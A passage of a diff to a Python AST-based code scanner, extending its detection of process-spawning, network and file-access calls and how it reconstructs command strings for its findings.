argument_nodes[1:]) if tail.startswith("spawnv"): - return self._command(node.args[2]) if len(node.args) > 2 else None + executable_node = node.args[1] if len(node.args) > 1 else self._keyword_node(node, "path", "file") + command_node = node.args[2] if len(node.args) > 2 else self._keyword_node(node, "args", "argv") + return self._command_with_executable(executable_node, command_node) if tail.startswith("spawnl"): - return self._command_from_parts(self._strip_exec_env(tail, node.args[2:])) - return self._command(node.args[0]) + executable_node = node.args[1] if len(node.args) > 1 else self._keyword_node(node, "path", "file") + argument_nodes = self._strip_exec_env(tail, node.args[2:]) + return self._command_with_argument_nodes(executable_node, argument_nodes[1:]) + command_node = node.args[0] if node.args else self._keyword_node(node, "command", "cmd") + return self._command(command_node) if command_node is not None else None + + @staticmethod + def _keyword_node(node: ast.Call, *names: str) -> ast.AST | None: + return next((item.value for item in node.keywords if item.arg in names), None) + + def _command_with_executable(self, executable_node: ast.AST | None, argv_node: ast.AST | None) -> str | None: + if executable_node is None: + return self._command(argv_node) if argv_node is not None else None + if isinstance(argv_node, (ast.List, ast.Tuple)): + return self._command_with_argument_nodes(executable_node, argv_node.elts[1:]) + executable_value = self._string(executable_node) + executable = shlex.quote(executable_value) if executable_value is not None else None + argv = self._command(argv_node) if argv_node is not None else None + return argv or executable + + def _command_with_argument_nodes(self, executable_node: ast.AST | None, + argument_nodes: list[ast.AST]) -> str | None: + if executable_node is None: + return self._command_from_parts(argument_nodes) + command = self._command_from_parts([executable_node, *argument_nodes]) + return command or self._command(executable_node) @staticmethod def _strip_exec_env(tail: str, nodes: list[ast.AST]) -> list[ast.AST]: @@ -536,27 +690,33 @@ def _command(self, node: ast.AST) -> str | None: if value is not None: return value if isinstance(node, (ast.List, ast.Tuple)): - parts = [self._string(item) for item in node.elts] - if all(part is not None for part in parts): - return " ".join(shlex.quote(part or "") for part in parts) + return self._command_from_parts(node.elts) return None def _command_from_parts(self, nodes: list[ast.AST]) -> str | None: + if not nodes: + return None parts = [self._string(item) for item in nodes] - if parts and all(part is not None for part in parts): - return " ".join(shlex.quote(part or "") for part in parts) - return None + return " ".join(shlex.quote(part) if part is not None else _DYNAMIC_COMMAND_TOKEN for part in parts) def _is_network_call(self, name: str) -> bool: root = name.split(".", 1)[0] tail = name.split(".")[-1] return root in _NETWORK_ROOTS and tail in _NETWORK_METHODS + def _is_unknown_network_call(self, name: str) -> bool: + root = name.split(".", 1)[0] + tail = name.split(".")[-1] + if root not in _NETWORK_ROOTS or tail in _NETWORK_NON_IO_METHODS: + return False + return not name.startswith(_NETWORK_HELPER_PREFIXES) + def _is_process_call(self, name: str) -> bool: root = name.split(".", 1)[0] tail = name.split(".")[-1] return (name in _PROCESS_CALLS or root in _PROCESS_ROOTS - or (root == "os" and tail.startswith(_OS_PROCESS_PREFIXES))) + or (root == "os" and tail.startswith(_OS_PROCESS_PREFIXES)) + or (root in {"concurrent", "multiprocessing"} and tail in _PROCESS_CREATION_METHODS)) def _scan_network(self, node: ast.Call, name: str) -> None: target_node = self._network_target_node(node, name) @@ -574,7 +734,9 @@ def _network_target_node(node: ast.Call, name: str) -> ast.AST | None: if keyword.arg == "url": return keyword.value tail = name.split(".")[-1] - index = 1 if tail == "request" else 0 + if tail == "send": + return None + index = 1 if tail in {"request", "stream"} else 0 return node.args[index] if len(node.args) > index else None def _network_target(self, node: ast.AST) -> str | None: @@ -592,6 +754,9 @@ def _scan_file_access(self, node: ast.Call, name: str) -> None: recognized, path_node = True, node.args[0] elif name.split(".")[-1] in _PATH_METHODS: recognized, path_node = self._receiver_path(node.func) + elif name.split(".", 1)[0] in _CONSERVATIVE_FILE_ROOTS and name not in _DELETE_CALLS: + self._add("FILE003", node, FILE_REVIEW) + return if not recognized: return path = self._string(path_node) if isinstance(path_node, ast.AST) else path_node